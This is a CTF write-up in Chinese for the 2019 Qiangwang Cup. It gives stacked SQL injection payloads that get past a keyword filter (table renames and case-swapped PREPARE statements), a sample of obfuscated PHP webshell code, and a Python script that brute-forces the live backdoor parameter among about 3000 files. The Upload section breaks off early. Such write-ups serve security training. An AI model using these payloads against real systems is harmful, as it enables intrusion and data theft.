2019强网杯

随便注

打开就一个输入框,然后有一个提交,再根据上面的提示,首先先按照默认的1,看看会是什么结果。

1
2
3
4
5
6
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

是一个数组,第一个是字符串"1",第二个是字符串"hahahah"

加个单引号试试看,发现有个数据库的报错信息出来:error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1,简单看一下基本能够确认就是单引号闭合。然后可以看到这里是明显会回显给你错误的信息的,所以只需要报错注入一下就行了。

使用报错注入来尝试获取数据库的名字:1' and updatexml(null,concat(0x3a,(select database())),null) %23 or '1'='1,并没有直接得到数据库的名字,而是得到了return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

从这里可以看到,有一些关键字和.会被过滤掉,那可以试试看利用堆叠注入。

堆叠注入payload:1';show databases; # 这样就把所有的数据库给爆出来了。

同样的方法显示一下所有的表格1';show tables; #,发现有一张全是数字的表格和一张叫words的表格,并不知道目标在哪里,所以对两个表格都查看一下它们的列:

  • 1';show columns from words; #
  • 1'; show columns from `1919810931114514`; #

在得到words表格内容的时候很顺利,但是在获取表名全是数字的这个表的时候遇到了很大的问题,一直得不到结果。自己尝试了单引号和双引号都没结果,后来问了同学才知道表名/库名/函数名需要用反引号括起来才行。

看了一眼发现flag果然在这个全是数字的表里面,那么问题来了,怎么样才能获取到呢?联合注入似乎是不行的,因为把select.给完全过滤掉了,而且还把一些常用的数据操作过滤了,但是!!还剩下了alterrename没有过滤,所以可以使用改名和改数据。

payload:1';RENAME TABLE `words` TO `whatever`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` ADD COLUMN id INT(11);#

当然上面也可以把id改成data,因为iddata都能显示出来。

其他的方法:

如果能够使用select flag from `1919810931114514`就可以直接从表格里获取到flag了,但是因为有了过滤机制,所以不行,下面介绍一种方法来对付这种过滤方法。

为了防止sql注入,最好的方法是使用预编译,而mysql提供了这一方法,所以我们可以使用:

1
2
3
set @sql=concat('sel','ect * from `1919810931114514`');
prepare presql from @sql;
execute presql;

但是如果直接用这个方法,会出提示信息:strstr($inject, "set") && strstr($inject, "prepare"),也就是说这题其实猜到了你会使用预编译来绕过,但是!!仅仅过滤了小写,然而mysql对大小写不敏感,所以只需要大小写替换一下就可以得到flag了。

高明的黑客

打开网站是这么一句话:我也是很佩服你们公司的开发,特地备份了网站源码到www.tar.gz以供大家观赏,这里提示源码已经被放到了根目录下,所以第一步首先先去下载下来,然后解压缩康康。

emmmm解压缩完发现是3002个php文件,而且文件名都怪怪的,随便打开一个看看哦:

1
2
3
4
5
6
7
8
9
10
11
<?php
$_GET['jVMcNhK_F'] = ' ';
system($_GET['jVMcNhK_F'] ?? ' ');
$_GET['tz2aE_IWb'] = ' ';
echo `{$_GET['tz2aE_IWb']}`;
$_GET['cXjHClMPs'] = ' ';
echo `{$_GET['cXjHClMPs']}`;

function ZwXq7h4()
# 下面省略
?>

基本上每个都是这样的,显然不是给人看的。然后稍微看看发现里面就是一堆GET和POST还有运行系统命令的system,所以应该是从这3K个PHP文件中找到黑客真正使用的那个带的shell吧?

显然用人工的方法是不可能的,所以用Python写脚本,然后使用正则表达式找到所有符合条件的,最好再使用多线程技术来加速寻找。

以下是简单的一个单线程脚本,大概用了20分钟在本地搭建的环境中跑完,贴出来仅供参考:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import os
import re
import requests

path = "/var/www/html/src/"

url = "http://127.0.0.1/src/"

filenames = os.listdir(path)

# 这里的正则我觉得有点难以理解,因为它可以匹配$_GES
# 简单分析一下,第一个斜杠转义了后面的$,然后是一个下划线,然后是3-4个字母,这些字母必须是[GETPOS]这六个中的
# 然后是一个[],中括号里的内容可以是任意的
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")

for name in filenames:
print(name)
with open(path + name, 'r') as f:
data = f.read()
result = list(set(pattern.findall(data)))

for ret in result:
# ret形如 $_POST['qWsBpr5hwDbcUo']
try:
# 测试一下运行uname会不会出现linux字样
command = 'uname'
flag = 'Linux'
if 'GET' in ret:
# 找到括号内的任何内容
passwd = re.findall(r"'(.*)'", ret)[0]
r = requests.get(url=url + name + '?' + passwd + '=' + command)
if r.status_code != requests.codes.ok:
print("can not read the file " + r.status_code)
elif flag in r.text:
print('backdoor file is: ' + name)
print('GET: ' + passwd)
elif 'POST' in ret:
passwd = re.findall(r"'(.*)'", ret)[0]
r = requests.post(url=url + name, data={passwd: command})
if r.status_code != requests.codes.ok:
print("can not read the file " + r.status_code)
elif flag in r.text:
print('backdoor file is: ' + name)
print('POST: ' + passwd)
except:
pass

最后的结果是:

1
2
backdoor file is: xk0SzyKwfzw.php
GET: Efa5BVG

然后执行一下cat /flag即可。至于为什么flag会在根目录下,这是一个约定俗成的规定,一般会放在www上级目录/flag,因为没必要花时间在找flag在哪里上。

Upload

登入之后发现是一个注册/登陆页面,首先注册一个账号,然后登录试试看。登录成功之后就可以看到能够上传图片,那就上传看看?

随便选了一张图片(.png)交上去,发现能成功上传…